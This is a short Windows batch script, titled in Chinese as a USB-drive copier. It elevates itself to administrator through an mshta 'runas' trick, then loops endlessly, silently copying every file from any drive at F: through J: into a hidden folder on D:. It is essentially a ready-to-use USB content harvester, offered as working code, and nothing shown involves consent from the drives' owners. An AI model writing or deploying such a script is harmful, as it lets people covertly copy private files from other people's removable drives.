用批处理弄个 U 盘复制器
fltmc>nul||mshta vbscript:CreateObject("Shell.Application").ShellExecute("%~dpnx0","%*","","runas",1)(window.close)&&exit
set "Destination=D:\k\CopiedFiles\"
set "Extension=*"
if not exist "%Destination%" ( md "%Destination%" )
goto Main
:Copier
if exist %Source% (robocopy %Source% %Destination% *.%Extension% /s /ndl /nfl)
goto :eof
:Main
echo CreateObject("scripting.filesystemobject").deletefile(WScript.scriptfullname)>%Temp%\SleepScript.vbs&&echo WScript.sleep WScript.Arguments(0)>>%Temp%\SleepScript.vbs
start /wait %Temp%\SleepScript.vbs 5000
set "Source=F:\"
call :Copier
set "Source=G:\"
call :Copier
set "Source=H:\"
call :Copier
set "Source=I:\"
call :Copier
set "Source=J:\"
call :Copier
goto Main